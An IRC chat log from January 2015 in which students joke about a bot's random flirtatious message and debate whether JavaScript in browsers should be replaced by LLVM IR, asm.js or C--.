[2015-01-27T16:03:13-0500] <+JacobEdelman> 4:03 PM <awebot> If I were you, I'd have sex with me.
[2015-01-27T16:03:13-0500] <+JacobEdelman> 4:03 PM <JacobEdelman> wow
[2015-01-27T16:03:13-0500] <+JacobEdelman> 4:03 PM <JacobEdelman> thats a feature now
[2015-01-27T16:03:20-0500] <+JacobEdelman> that just happened
[2015-01-27T16:03:21-0500] <+JacobEdelman> :P
[2015-01-27T16:03:32-0500] <+JacobEdelman> awebot will now send lewd messages
[2015-01-27T16:04:06-0500] <@awe> You're lying.
[2015-01-27T16:04:08-0500] <@awe> I don't believe you.
[2015-01-27T16:05:13-0500] <alokpathy> I believe him.
[2015-01-27T16:05:37-0500] <alokpathy> I too am a victim of awebot's flawed hookup schemes.
[2015-01-27T16:05:42-0500] <@awe> You're wrong.
[2015-01-27T16:05:48-0500] <@awe> awebot wouldn't do that.
[2015-01-27T16:05:59-0500] <alokpathy> But he did D:
[2015-01-27T16:13:04-0500] <+Tamini> lol
[2015-01-27T16:13:08-0500] <+Tamini> awebot only hits on them
[2015-01-27T16:13:10-0500] <+Tamini> am i that unlovable D:
[2015-01-27T16:15:49-0500] <alokpathy> Maybe awebot's a guy and homosexual.
[2015-01-27T16:15:55-0500] <alokpathy> Or a girl and hetero.
[2015-01-27T16:15:56-0500] <+Tamini> maybe
[2015-01-27T16:16:18-0500] <jwoglom> @whois awebot
[2015-01-27T16:16:18-0500] <awebot> jwoglom: awebot is just your friendly neighborhood Spiderman.
[2015-01-27T16:16:29-0500] <jwoglom> well, he implies that he's a man
[2015-01-27T16:16:39-0500] <alokpathy> So, awebot's gay.
[2015-01-27T16:17:10-0500] <jwoglom> i guess so
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[2015-01-27T16:18:58-0500] Set by hardmath123 on January 19, 2015 at 11:13:03 PM EST
[2015-01-27T12:07:40-0500] <Tamini_> sleep is super great
[2015-01-27T13:26:32-0500] <assface> 3
[2015-01-27T13:28:39-0500] <@awe> o
[2015-01-27T13:28:43-0500] <@awe> k den.
[2015-01-27T13:29:03-0500] <alokpathy> Insightful.
[2015-01-27T13:59:45-0500] <nezorg> assface: 4
[2015-01-27T14:01:24-0500] <assface> 3
[2015-01-27T14:01:43-0500] <assface> I was switching windows & forgot the /
[2015-01-27T14:13:49-0500] <@awe> assface: o, ok.
[2015-01-27T14:39:12-0500] <+JacobEdelman> why must code geass make me so sad?
[2015-01-27T15:55:26-0500] <Hyper> JacobEdelman: how far in are you?
[2015-01-27T15:55:42-0500] <+JacobEdelman> I'm on the last episode of the 1st season now
[2015-01-27T15:55:46-0500] <Hyper> oh ok
[2015-01-27T15:55:48-0500] <Hyper> cool
[2015-01-27T15:56:24-0500] <@awe> Too much animez.
[2015-01-27T15:57:51-0500] <+JacobEdelman> ... yeah, I'm supposed to be doing work
[2015-01-27T15:58:00-0500] <+JacobEdelman> not watching 10 episodes of code geass...
[2015-01-27T16:02:35-0500] <alokpathy> JacobEdelman: You need to get your priorities straight.
[2015-01-27T16:02:43-0500] <+JacobEdelman> yes, I do
[2015-01-27T16:02:44-0500] <+JacobEdelman> :(
[2015-01-27T16:02:46-0500] <alokpathy> Code Geass > work
[2015-01-27T16:02:49-0500] <+JacobEdelman> hahaha
[2015-01-27T16:02:52-0500] <+JacobEdelman> hahahahahaha
[2015-01-27T16:02:58-0500] <alokpathy> Accept it. Don't question it.
[2015-01-27T16:03:04-0500] <alokpathy> I have no idea what it is btw.
[2015-01-27T16:03:10-0500] <+JacobEdelman> guys
[2015-01-27T16:03:13-0500] <+JacobEdelman> 4:03 PM <awebot> If I were you, I'd have sex with me.
[2015-01-27T16:03:13-0500] <+JacobEdelman> 4:03 PM <JacobEdelman> wow
[2015-01-27T16:03:13-0500] <+JacobEdelman> 4:03 PM <JacobEdelman> thats a feature now
[2015-01-27T16:03:20-0500] <+JacobEdelman> that just happened
[2015-01-27T16:03:21-0500] <+JacobEdelman> :P
[2015-01-27T16:03:32-0500] <+JacobEdelman> awebot will now send lewd messages
[2015-01-27T16:04:06-0500] <@awe> You're lying.
[2015-01-27T16:04:08-0500] <@awe> I don't believe you.
[2015-01-27T16:05:13-0500] <alokpathy> I believe him.
[2015-01-27T16:05:37-0500] <alokpathy> I too am a victim of awebot's flawed hookup schemes.
[2015-01-27T16:05:42-0500] <@awe> You're wrong.
[2015-01-27T16:05:48-0500] <@awe> awebot wouldn't do that.
[2015-01-27T16:05:59-0500] <alokpathy> But he did D:
[2015-01-27T16:13:04-0500] <+Tamini> lol
[2015-01-27T16:13:08-0500] <+Tamini> awebot only hits on them
[2015-01-27T16:13:10-0500] <+Tamini> am i that unlovable D:
[2015-01-27T16:15:49-0500] <alokpathy> Maybe awebot's a guy and homosexual.
[2015-01-27T16:15:55-0500] <alokpathy> Or a girl and hetero.
[2015-01-27T16:15:56-0500] <+Tamini> maybe
[2015-01-27T16:16:18-0500] <jwoglom> @whois awebot
[2015-01-27T16:16:18-0500] <awebot> jwoglom: awebot is just your friendly neighborhood Spiderman.
[2015-01-27T16:16:29-0500] <jwoglom> well, he implies that he's a man
[2015-01-27T16:16:39-0500] <alokpathy> So, awebot's gay.
[2015-01-27T16:17:10-0500] <jwoglom> i guess so
[2015-01-27T16:19:00-0500] Mode is +nst
[2015-01-27T16:19:33-0500] <@awe> Pidgey is a girl, but awebot is a guy.
[2015-01-27T16:21:52-0500] <jwoglom> awe: so then why isn't it pidgey hitting on the guys as opposed to awebot? :P
[2015-01-27T16:22:02-0500] <+JacobEdelman> search google scholar court documents is depressing
[2015-01-27T16:22:09-0500] <+Tamini> how come?
[2015-01-27T16:22:15-0500] <+JacobEdelman> I keep searching for things relating to memes for a research project
[2015-01-27T16:22:26-0500] <+JacobEdelman> "slender man" just turns up lots of decriptions of people
[2015-01-27T16:22:32-0500] <alokpathy> .-.\
[2015-01-27T16:22:39-0500] <+JacobEdelman> and "something awful" turns up lots of .... shudders....
[2015-01-27T16:26:01-0500] <+JacobEdelman> awe: so, I suppose awebot hitting on alok and I just shows
[2015-01-27T16:26:14-0500] <+JacobEdelman> awe: that we are the most attractive people on pdgn
[2015-01-27T16:26:19-0500] <+Tamini> lololol
[2015-01-27T16:26:22-0500] <+Tamini> yes, obviously
[2015-01-27T16:26:34-0500] <+JacobEdelman> awe: you've been replace in my heart, by me
[2015-01-27T16:26:34-0500] <@awe> that's clearly what it is.
[2015-01-27T16:26:40-0500] <+JacobEdelman> *replaced
[2015-01-27T16:26:48-0500] <@awe> It's totally unrelated to the usage of random numbers.
[2015-01-27T16:26:51-0500] <@awe> Totally unrelated.
[2015-01-27T16:26:57-0500] <+Tamini> of course not!
[2015-01-27T16:26:58-0500] <+JacobEdelman> yup!
[2015-01-27T16:27:07-0500] <+Tamini> awebot is classier than that
[2015-01-27T16:27:10-0500] <+Tamini> doesnt hit on people by rng
[2015-01-27T16:29:57-0500] <@awe> awebot needs to learn more dirty things to say though.
[2015-01-27T16:30:21-0500] <jwoglom> awe: have it look at urbandictionary, lol
[2015-01-27T16:31:29-0500] <@awe> That wouldn't really work.
[2015-01-27T16:34:07-0500] <+JacobEdelman> awe: take cassanovas written works
[2015-01-27T16:34:13-0500] <+JacobEdelman> awe: and use markov chains
[2015-01-27T16:34:14-0500] <+JacobEdelman> :P
[2015-01-27T16:34:17-0500] <@awe> Not vulgar enough.
[2015-01-27T16:34:47-0500] <+JacobEdelman> https://en.wikipedia.org/wiki/Histoire_de_ma_vie
[2015-01-27T16:34:51-0500] <+JacobEdelman> come on, it'll be funny!
[2015-01-27T16:35:36-0500] <+JacobEdelman> fine, if you want vulgar and love, take all the comments from the perl source code fils
[2015-01-27T16:35:38-0500] <+JacobEdelman> and use them
[2015-01-27T16:35:42-0500] <+JacobEdelman> *files
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[2015-01-27T16:41:15-0500] <+JacobEdelman> so quiet
[2015-01-27T16:41:22-0500] <+JacobEdelman> I guess my perl bashing wasn't funny
[2015-01-27T16:41:23-0500] <+JacobEdelman> :(
[2015-01-27T16:42:43-0500] <@awe> Perl is vulgar, but it's not lewd.
[2015-01-27T16:43:17-0500] <@awe> calc0000: hey, want to tell everyone how much JS sucks?
[2015-01-27T16:49:27-0500] <+JacobEdelman> clearly he does not
[2015-01-27T16:49:28-0500] <+JacobEdelman> :P
[2015-01-27T16:49:40-0500] <alokpathy> Lol, I feel like half of this channel is devoted to bashing languages.
[2015-01-27T16:49:50-0500] <alokpathy> Half of its content, I mean.
[2015-01-27T16:51:26-0500] <@awe> Must be busy at work.
[2015-01-27T16:51:39-0500] <calc0000> dude
[2015-01-27T16:51:42-0500] <calc0000> js sucks
[2015-01-27T16:51:43-0500] <@awe> or not.
[2015-01-27T16:51:43-0500] <calc0000> ot
[2015-01-27T16:51:47-0500] <calc0000> it's so terrible
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[2015-01-27T17:12:06-0500] <The_Master> awe:is the server down?
[2015-01-27T17:12:10-0500] <@awe> Yes.
[2015-01-27T17:13:07-0500] <+JacobEdelman> calc0000: but you can compile anything into js
[2015-01-27T17:38:47-0500] <calc0000> you can compile anything into brainfuck too
[2015-01-27T17:38:53-0500] <calc0000> does that mean brainfuck is a good language?
[2015-01-27T17:38:57-0500] <calc0000> actually, i take that back
[2015-01-27T17:39:01-0500] <calc0000> brainfuck is better than js
[2015-01-27T17:39:55-0500] <calc0000> anyway you can compile anything into anything
[2015-01-27T17:41:21-0500] <+JacobEdelman> i wrote a program that compiled brainf*** into fractran
[2015-01-27T17:41:22-0500] <+JacobEdelman> :)
[2015-01-27T17:41:27-0500] <calc0000> the hell is fractran
[2015-01-27T17:41:48-0500] <+JacobEdelman> calc0000: yes, but not many things ex
[2015-01-27T17:41:50-0500] <+JacobEdelman> wait
[2015-01-27T17:42:02-0500] <+JacobEdelman> https://en.wikipedia.org/wiki/FRACTRAN
[2015-01-27T17:42:03-0500] <+JacobEdelman> there
[2015-01-27T17:42:07-0500] <calc0000> crazy
[2015-01-27T17:42:24-0500] <+JacobEdelman> thats what many say when they first meet me
[2015-01-27T17:42:34-0500] <calc0000> ok
[2015-01-27T17:42:35-0500] <+JacobEdelman> few keep there sanity long enough to say much else
[2015-01-27T17:42:42-0500] <calc0000> where sanity?
[2015-01-27T17:42:44-0500] <calc0000> there sanity!
[2015-01-27T17:42:54-0500] <+JacobEdelman> :P
[2015-01-27T17:43:21-0500] <+JacobEdelman> sadly not many things having compilers into brainf*** (although there is one for basic and there may be one for a subset of c)
[2015-01-27T17:43:39-0500] <+JacobEdelman> so I can't compile the linux kernel into fractran via way of brainf*** :(
[2015-01-27T17:43:48-0500] <+JacobEdelman> but I could compile anything to js easily
[2015-01-27T17:43:52-0500] <+JacobEdelman> since its all out there
[2015-01-27T17:44:01-0500] <+JacobEdelman> if someone doesn't like js they can just use an alternative
[2015-01-27T17:45:07-0500] <calc0000> that's true
[2015-01-27T17:45:14-0500] <calc0000> but it's a terrible reason to keep js around
[2015-01-27T17:45:24-0500] <calc0000> it's a better argument for replacing js with llir or asm.js
[2015-01-27T17:45:54-0500] <+JacobEdelman> llir? do you mean llvm?
[2015-01-27T17:45:56-0500] <@awe> browsers running llir would be cool.
[2015-01-27T17:45:59-0500] <@awe> no, he means llir.
[2015-01-27T17:46:02-0500] <@awe> llvm is a virtual machine, not a language.
[2015-01-27T17:46:04-0500] <+JacobEdelman> link?
[2015-01-27T17:46:23-0500] <calc0000> http://llvm.org/docs/LangRef.html
[2015-01-27T17:46:30-0500] <+JacobEdelman> ah, okay
[2015-01-27T17:46:50-0500] <+JacobEdelman> calc0000: its kinda too later to replace js, and my argument is we can live with it
[2015-01-27T17:47:00-0500] <calc0000> it's never too late to do anything in software
[2015-01-27T17:47:10-0500] <calc0000> and that's exactly the argument that got us here in the first place
[2015-01-27T17:47:23-0500] <@awe> We definitely can't live with it.
[2015-01-27T17:47:24-0500] <+JacobEdelman> calc0000: .... its too late
[2015-01-27T17:47:35-0500] <calc0000> then you can go be satisfied
[2015-01-27T17:47:39-0500] <+JacobEdelman> calc0000: welll, correction
[2015-01-27T17:47:40-0500] <@awe> You're wrong.
[2015-01-27T17:47:42-0500] <calc0000> but keep in mind that satisfied people never do anything
[2015-01-27T17:47:45-0500] <@awe> It's definitely not too late.
[2015-01-27T17:47:46-0500] <+JacobEdelman> its not worth the effort
[2015-01-27T17:47:46-0500] <calc0000> meaningful
[2015-01-27T17:47:51-0500] <@awe> It's totally worth the effort.
[2015-01-27T17:47:54-0500] <+JacobEdelman> why?
[2015-01-27T17:48:08-0500] <+JacobEdelman> asm.js and llir run on js easily
[2015-01-27T17:48:11-0500] <calc0000> you don't think we should strive for perfection?
[2015-01-27T17:48:18-0500] <calc0000> we should just strive for eh, it's ok-tion?
[2015-01-27T17:48:29-0500] <@awe> LLIR does not run on JS easily.
[2015-01-27T17:48:29-0500] <+JacobEdelman> calc0000: I think we should put or efforts where its worth it
[2015-01-27T17:48:38-0500] <calc0000> if that's what you believe it's fine but then i won't try to change your m ind
[2015-01-27T17:49:11-0500] <+JacobEdelman> calc0000: what, no! I want you to try, life would be boring if people didn't try to talk me out of my admittidly sometimes stupid opinions
[2015-01-27T17:49:36-0500] <@awe> sometimes?
[2015-01-27T17:49:40-0500] <calc0000> i think replacing js with llir would be a worthwhile
[2015-01-27T17:49:43-0500] <calc0000> endeavour
[2015-01-27T17:49:56-0500] <calc0000> think of all the co2 we could stop emitting
[2015-01-27T17:49:58-0500] <@awe> It might take a next-generation internet to do it.
[2015-01-27T17:50:01-0500] <calc0000> all the developer time that would be freed up
[2015-01-27T17:50:02-0500] <+JacobEdelman> co2?
[2015-01-27T17:50:06-0500] <calc0000> carbon dioxide
[2015-01-27T17:50:09-0500] <+JacobEdelman> oh
[2015-01-27T17:50:11-0500] <calc0000> js is terribly inefficient
[2015-01-27T17:50:12-0500] <calc0000> and slow
[2015-01-27T17:50:13-0500] <+JacobEdelman> awe: agreed
[2015-01-27T17:50:15-0500] <@awe> JS is slow and therefore costs more machine time thus more energy thus more co2
[2015-01-27T17:50:23-0500] <+JacobEdelman> calc0000: eh, its 2x native speed lately I think
[2015-01-27T17:50:28-0500] <@awe> No.
[2015-01-27T17:50:33-0500] <@awe> In micro-benchmarks, it's 2x native speed.
[2015-01-27T17:50:39-0500] <@awe> In *some* micro-benchmarks.
[2015-01-27T17:50:39-0500] <+JacobEdelman> uhg, this again
[2015-01-27T17:50:48-0500] <calc0000> look jacob here's the facts
[2015-01-27T17:50:54-0500] <calc0000> today we have mail clients written in html/js
[2015-01-27T17:50:59-0500] <calc0000> we have chat clients in html/js
[2015-01-27T17:51:05-0500] <calc0000> we have word processors, spreadsheets in html/js
[2015-01-27T17:51:08-0500] <+JacobEdelman> *gasp* how did you know my real name ?! :O
[2015-01-27T17:51:12-0500] <calc0000> and they all run slower than their native counterparts did 10 years ago
[2015-01-27T17:51:13-0500] <+JacobEdelman> :P
[2015-01-27T17:51:16-0500] <calc0000> :P
[2015-01-27T17:51:22-0500] <calc0000> and people call this "progress"
[2015-01-27T17:51:52-0500] <+JacobEdelman> calc0000: so? these clients have advantages like uh.... actually thats a pretty nice argument you got there
[2015-01-27T17:52:03-0500] <@awe> The advantage is that they're "easily deployable."
[2015-01-27T17:52:23-0500] <+JacobEdelman> I know
[2015-01-27T17:52:31-0500] <@awe> Which means nothing.
[2015-01-27T17:52:51-0500] <calc0000> and developing any non-trivial web app these days is exactly the same as developing a non-trivial native app
[2015-01-27T17:52:53-0500] <@awe> Honestly, that would've been more advantageous over twenty years ago when computers were VASTLY different from one another.
[2015-01-27T17:53:01-0500] <calc0000> you'll either have to deal with platform differences yourself, or use libraries that do it fo ryou
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[2015-01-27T17:54:10-0500] <+hardmath123> gn
[2015-01-27T17:54:15-0500] <+hardmath123> whoops
[2015-01-27T17:54:50-0500] <+hardmath123> my weechat-hosting server was rebooted...
[2015-01-27T17:55:49-0500] <+hardmath123> because glibc vuln
[2015-01-27T17:56:39-0500] <+JacobEdelman> so
[2015-01-27T17:57:09-0500] <+JacobEdelman> javascript is an easy to learn language and replacements would not be as easy
[2015-01-27T17:57:12-0500] <+JacobEdelman> is that a good reason?
[2015-01-27T17:57:16-0500] <+hardmath123> reason for?
[2015-01-27T17:57:27-0500] <+JacobEdelman> awe and calc0000 want to replace js
[2015-01-27T17:57:31-0500] <+JacobEdelman> with llir or asm.js
[2015-01-27T17:57:55-0500] <calc0000> js being an easy to learn language is not really a good argument for anything
[2015-01-27T17:57:59-0500] <calc0000> even teaching it instead of python
[2015-01-27T17:58:03-0500] <calc0000> did you read that article btw
[2015-01-27T17:58:11-0500] <+JacobEdelman> what article?
[2015-01-27T17:58:33-0500] <calc0000> http://prog21.dadgum.com/203.html
[2015-01-27T17:58:38-0500] <calc0000> he's usually right
[2015-01-27T17:58:41-0500] <calc0000> but in this case he's dead wrong
[2015-01-27T17:59:08-0500] <+JacobEdelman> oh, I saw that
[2015-01-27T17:59:11-0500] <+JacobEdelman> yeah, I disagree
[2015-01-27T17:59:14-0500] <+JacobEdelman> but still
[2015-01-27T17:59:17-0500] <+JacobEdelman> js fixes the problem
[2015-01-27T17:59:19-0500] <+JacobEdelman> which is why
[2015-01-27T17:59:23-0500] <calc0000> what problem?
[2015-01-27T17:59:26-0500] <+JacobEdelman> wordyscript.com should replace everything
[2015-01-27T17:59:36-0500] <+JacobEdelman> calc0000: lack of easy to use libraries
[2015-01-27T18:00:01-0500] <calc0000> js doesn't address that problem at all
[2015-01-27T18:00:07-0500] <+JacobEdelman> (also, that talking about wordyscript.com was sarcastic)
[2015-01-27T18:00:16-0500] <+JacobEdelman> calc0000: there are some very nice libraries
[2015-01-27T18:00:19-0500] <calc0000> and there are loads of languages with easy to use libs
[2015-01-27T18:00:29-0500] <alokpathy> ^
[2015-01-27T18:00:32-0500] <+JacobEdelman> calc0000: yes, but js has no rules! weeeee
[2015-01-27T18:00:46-0500] <+JacobEdelman> calc0000: than just use a version of python that compiles to js
[2015-01-27T18:00:52-0500] <+JacobEdelman> there are several
[2015-01-27T18:00:54-0500] <calc0000> ha well i can't argue that
[2015-01-27T18:01:02-0500] <calc0000> the js has no rules thing
[2015-01-27T18:01:41-0500] <+JacobEdelman> calc000: in js weird stuff is possible, like you can make objects that are lazy and stuff
[2015-01-27T18:01:49-0500] <+JacobEdelman> calc0000: even though nobody intended it to be lazy
[2015-01-27T18:01:50-0500] <calc0000> you can do that in any language
[2015-01-27T18:02:01-0500] <calc0000> well 
[2015-01-27T18:02:08-0500] <calc0000> maybe
[2015-01-27T18:02:10-0500] <calc0000> i don't know
[2015-01-27T18:02:11-0500] <+JacobEdelman> calc0000: java?
[2015-01-27T18:02:12-0500] <calc0000> i suspect so
[2015-01-27T18:02:24-0500] <calc0000> what about it
[2015-01-27T18:02:35-0500] <+JacobEdelman> also, js has the best support for nearley of any language
[2015-01-27T18:02:40-0500] <+JacobEdelman> by virtue of having nearly :P
[2015-01-27T18:02:46-0500] <calc0000> only because people are using it
[2015-01-27T18:02:51-0500] <calc0000> that has nothing to do with its fitness as a language
[2015-01-27T18:02:54-0500] <+JacobEdelman> calc0000: if you want a feature in js you can make it
[2015-01-27T18:03:06-0500] <+JacobEdelman> calc0000: heres what I argue
[2015-01-27T18:03:08-0500] <+hardmath123> calc0000: I agree with the guy in the article (i'd read it before, too)
[2015-01-27T18:03:34-0500] <+hardmath123> JacobEdelman: Marpa > nearley and marpa's in Perl :P
[2015-01-27T18:03:42-0500] <+JacobEdelman> calc0000: if you want to build a language with rules, its easiest to start off by restricting one with none of them
[2015-01-27T18:03:55-0500] <+hardmath123> well, no, I think libmarpa's C but kegler only cares about perl bindings
[2015-01-27T18:04:00-0500] <+JacobEdelman> hardmath123: nearly > Marpa by virtue of having myself and you as contributors
[2015-01-27T18:04:12-0500] <+JacobEdelman> :P
[2015-01-27T18:04:14-0500] <+hardmath123> :P
[2015-01-27T18:06:25-0500] <+hardmath123> wow it took me like 10 whole minutes to reset my weechat the way I like it.
[2015-01-27T18:09:06-0500] <+Tamini> hehe
[2015-01-27T18:09:06-0500] <+Tamini> aww
[2015-01-27T18:09:09-0500] <+Tamini> hm
[2015-01-27T18:11:06-0500] <jwoglom> i always forget to /save my weechat config
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[2015-01-27T18:39:03-0500] <+hardmath123> Yessss Reddit's default CSS is now actually slightly legible. :D
[2015-01-27T18:39:41-0500] <+hardmath123> > Improved readability. Font size and line height have been increased, making text easier to read.
[2015-01-27T18:48:46-0500] <jwoglom> Huh. I noticed that
[2015-01-27T18:48:52-0500] <jwoglom> Thought it was RES
[2015-01-27T18:50:22-0500] <+hardmath123> calc0000: the reason I agree with the article is because I would not be a CS nerd right now if my first language didn't let ten-year-old me make cool and exciting things happen with little to no effort. As far as I was concerned back then, the ability to draw a rectangle that follows the mouse was *amazing* and instant popularity among friends (times have clearly changed since then).
[2015-01-27T18:57:46-0500] <nezorg> calc0000: llir kinda sucks in the browser
[2015-01-27T18:57:53-0500] <nezorg> google is learning that the hard way with pnacl
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[2015-01-27T18:59:46-0500] <@awe> nezorg: why would it suck in the browser?
[2015-01-27T19:00:13-0500] <nezorg> awe: because there are still a lot of things in it that are architecture-specific
[2015-01-27T19:00:24-0500] <@awe> Hmm, fair enough, I suppose.
[2015-01-27T19:00:31-0500] <@awe> What about C-- in the browser.
[2015-01-27T19:01:27-0500] <@awe> That'd work, I think.
[2015-01-27T19:02:05-0500] <nezorg> I haven't looked too much at c-- (though I know ghc uses it)
[2015-01-27T19:02:26-0500] <@awe> You can use C-- with LLVM.
[2015-01-27T19:02:30-0500] <@awe> (which GHC does)
[2015-01-27T19:02:42-0500] <nezorg> ...huh?
[2015-01-27T19:02:46-0500] <nezorg> ghc has a llvm backend
[2015-01-27T19:02:49-0500] <nezorg> but it doesn't use c--
[2015-01-27T19:02:55-0500] <@awe> ??
[2015-01-27T19:03:03-0500] <@awe> I think it does.
[2015-01-27T19:03:15-0500] <@awe> Maybe they only use it for the native codegen path.
[2015-01-27T19:03:16-0500] <@awe> I forgot.
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[2015-01-27T18:00:54-0500] <calc0000> ha well i can't argue that
[2015-01-27T18:01:02-0500] <calc0000> the js has no rules thing
[2015-01-27T18:01:41-0500] <+JacobEdelman> calc000: in js weird stuff is possible, like you can make objects that are lazy and stuff
[2015-01-27T18:01:49-0500] <+JacobEdelman> calc0000: even though nobody intended it to be lazy
[2015-01-27T18:01:50-0500] <calc0000> you can do that in any language
[2015-01-27T18:02:01-0500] <calc0000> well 
[2015-01-27T18:02:08-0500] <calc0000> maybe
[2015-01-27T18:02:10-0500] <calc0000> i don't know
[2015-01-27T18:02:12-0500] <+JacobEdelman> calc0000: java?
[2015-01-27T18:02:12-0500] <calc0000> i suspect so
[2015-01-27T18:02:24-0500] <calc0000> what about it
[2015-01-27T18:02:35-0500] <+JacobEdelman> also, js has the best support for nearley of any language
[2015-01-27T18:02:40-0500] <+JacobEdelman> by virtue of having nearly :P
[2015-01-27T18:02:46-0500] <calc0000> only because people are using it
[2015-01-27T18:02:51-0500] <calc0000> that has nothing to do with its fitness as a language
[2015-01-27T18:02:54-0500] <+JacobEdelman> calc0000: if you want a feature in js you can make it
[2015-01-27T18:03:06-0500] <+JacobEdelman> calc0000: heres what I argue
[2015-01-27T18:03:08-0500] <+hardmath123> calc0000: I agree with the guy in the article (i'd read it before, too)
[2015-01-27T18:03:34-0500] <+hardmath123> JacobEdelman: Marpa > nearley and marpa's in Perl :P
[2015-01-27T18:03:43-0500] <+JacobEdelman> calc0000: if you want to build a language with rules, its easiest to start off by restricting one with none of them
[2015-01-27T18:03:55-0500] <+hardmath123> well, no, I think libmarpa's C but kegler only cares about perl bindings
[2015-01-27T18:04:00-0500] <+JacobEdelman> hardmath123: nearly > Marpa by virtue of having myself and you as contributors
[2015-01-27T18:04:12-0500] <+JacobEdelman> :P
[2015-01-27T18:04:14-0500] <+hardmath123> :P
[2015-01-27T18:06:25-0500] <+hardmath123> wow it took me like 10 whole minutes to reset my weechat the way I like it.
[2015-01-27T18:09:06-0500] <+Tamini> hehe
[2015-01-27T18:09:07-0500] <+Tamini> aww
[2015-01-27T18:09:09-0500] <+Tamini> hm
[2015-01-27T18:11:06-0500] <jwoglom> i always forget to /save my weechat config
[2015-01-27T18:39:03-0500] <+hardmath123> Yessss Reddit's default CSS is now actually slightly legible. :D
[2015-01-27T18:39:41-0500] <+hardmath123> > Improved readability. Font size and line height have been increased, making text easier to read.
[2015-01-27T18:48:46-0500] <jwoglom> Huh. I noticed that
[2015-01-27T18:48:52-0500] <jwoglom> Thought it was RES
[2015-01-27T18:50:22-0500] <+hardmath123> calc0000: the reason I agree with the article is because I would not be a CS nerd right now if my first language didn't let ten-year-old me make cool and exciting things happen with little to no effort. As far as I was concerned back then, the ability to draw a rectangle that follows the mouse was *amazing* and instant popularity among friends (times have clearly changed since then).
[2015-01-27T18:57:46-0500] <nezorg> calc0000: llir kinda sucks in the browser
[2015-01-27T18:57:53-0500] <nezorg> google is learning that the hard way with pnacl
[2015-01-27T18:59:47-0500] <@awe> nezorg: why would it suck in the browser?
[2015-01-27T19:00:13-0500] <nezorg> awe: because there are still a lot of things in it that are architecture-specific
[2015-01-27T19:00:24-0500] <@awe> Hmm, fair enough, I suppose.
[2015-01-27T19:00:31-0500] <@awe> What about C-- in the browser.
[2015-01-27T19:01:27-0500] <@awe> That'd work, I think.
[2015-01-27T19:02:05-0500] <nezorg> I haven't looked too much at c-- (though I know ghc uses it)
[2015-01-27T19:02:26-0500] <@awe> You can use C-- with LLVM.
[2015-01-27T19:02:30-0500] <@awe> (which GHC does)
[2015-01-27T19:02:42-0500] <nezorg> ...huh?
[2015-01-27T19:02:46-0500] <nezorg> ghc has a llvm backend
[2015-01-27T19:02:49-0500] <nezorg> but it doesn't use c--
[2015-01-27T19:02:55-0500] <@awe> ??
[2015-01-27T19:03:03-0500] <@awe> I think it does.
[2015-01-27T19:03:17-0500] <@awe> Maybe they only use it for the native codegen path.
[2015-01-27T19:03:56-0500] Mode is +nst
[2015-01-27T19:04:00-0500] <@awe> I forget.
[2015-01-27T19:04:02-0500] <nezorg> http://smart-cactus.org/~ben/posts/2014-11-28-state-of-llvm-backend.html talks about c-- and llvm rather separately
[2015-01-27T19:04:57-0500] <@awe> Ah, yeah.
[2015-01-27T19:05:04-0500] <@awe> It only uses C-- for native codegen.
[2015-01-27T19:05:10-0500] <@awe> (see: https://downloads.haskell.org/~ghc/latest/docs/html/users_guide/code-generators.html)
[2015-01-27T19:06:02-0500] <nezorg> as I thought
[2015-01-27T19:07:49-0500] <@awe> Pretty sure there IS a C-- frontend for LLVM though.
[2015-01-27T19:09:03-0500] <@awe> It's also possible not though.
[2015-01-27T19:11:05-0500] <@awe> It still doesn't change the point that JS is bad.
[2015-01-27T19:12:52-0500] <nezorg> well, yeah :P
[2015-01-27T19:13:13-0500] <nezorg> but honestly I doubt anything's going to replace it
[2015-01-27T19:18:09-0500] <+hardmath123> Coffeescript came close, I was actually kinda worried there for a little while.
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[2015-01-27T19:18:36-0500] <nezorg> hardmath123: well not in browsers themselves
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[2015-01-27T19:22:45-0500] <+hardmath123> oh, yeah, that's certainly not happening anytime soon
[2015-01-27T19:43:55-0500] <nezorg> heheheh, I like this https://whispersystems.org/blog/they-live/
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[2015-01-27T20:14:06-0500] <@awe> nezorg: It wouldn't surprise me if when we manage to replace the web with something, the language switches to something better.
[2015-01-27T20:14:40-0500] <nezorg> I bet the web will last a loooooong time
[2015-01-27T20:14:46-0500] <nezorg> it really is "good enough"
[2015-01-27T20:14:50-0500] <@awe> Actually.
[2015-01-27T20:14:54-0500] <@awe> It wouldn't be that hard to transition the web.
[2015-01-27T20:15:06-0500] <@awe> Standardize something like C-- or whatever.
[2015-01-27T20:15:37-0500] <nezorg> and include an interpreter if the browser doesn't support it?
[2015-01-27T20:15:43-0500] <nezorg> that's essentially what dart does
[2015-01-27T20:15:53-0500] <@awe> Or just have something that compiles the JS to C-- or whatever.
[2015-01-27T20:16:11-0500] <@awe> Since the right decision would be to focus on making any language run on the web.
[2015-01-27T20:16:13-0500] <nezorg> ...JS to C--?
[2015-01-27T20:16:16-0500] <nezorg> surely you mean C-- to JS
[2015-01-27T20:16:20-0500] <@awe> No.
[2015-01-27T20:16:23-0500] <@awe> I mean JS to C--.
[2015-01-27T20:16:31-0500] <@awe> That way you only have one backend in the browser.
[2015-01-27T20:16:38-0500] <nezorg> but the bigger issue is
[2015-01-27T20:16:44-0500] <nezorg> old browsers
[2015-01-27T20:16:49-0500] <@awe> Not really an issue anymore.
[2015-01-27T20:17:03-0500] <nezorg> ...uh, cloudflare still supports tls 1.0 for a reason
[2015-01-27T20:17:03-0500] <assface> the issue is that javascript is almost entirely shitty code
[2015-01-27T20:17:03-0500] <@awe> Most web users are on browsers that auto-update.
[2015-01-27T20:17:15-0500] <nezorg> awe: only for select values of "most"
[2015-01-27T20:17:20-0500] <@awe> You can look up usage stats.
[2015-01-27T20:17:36-0500] <@awe> >70% of the web is on HTML5/CSS3 compliant browsers now.
[2015-01-27T20:17:54-0500] <assface> 70% is nothing
[2015-01-27T20:17:57-0500] <@awe> Wat?
[2015-01-27T20:18:01-0500] <assface> it should be 100%
[2015-01-27T20:18:04-0500] <@awe> Well, yes.
[2015-01-27T20:18:06-0500] <@awe> It should.
[2015-01-27T20:18:51-0500] <assface> oh mang
[2015-01-27T20:18:57-0500] <assface> getting that 20 Kb/s download speed
[2015-01-27T20:19:05-0500] <nezorg> awe: that 70% rate really depends on who you ask
[2015-01-27T20:19:05-0500] <@awe> Still, the point is that upgrading the web isn't actually as infeasible as everyone once said.
[2015-01-27T20:19:19-0500] <@awe> nezorg: Most sources seem to indicate a significant majority.
[2015-01-27T20:19:22-0500] <assface> what do you mean by "upgrade the web"?
[2015-01-27T20:19:32-0500] <assface> as in "upgrade IP"?
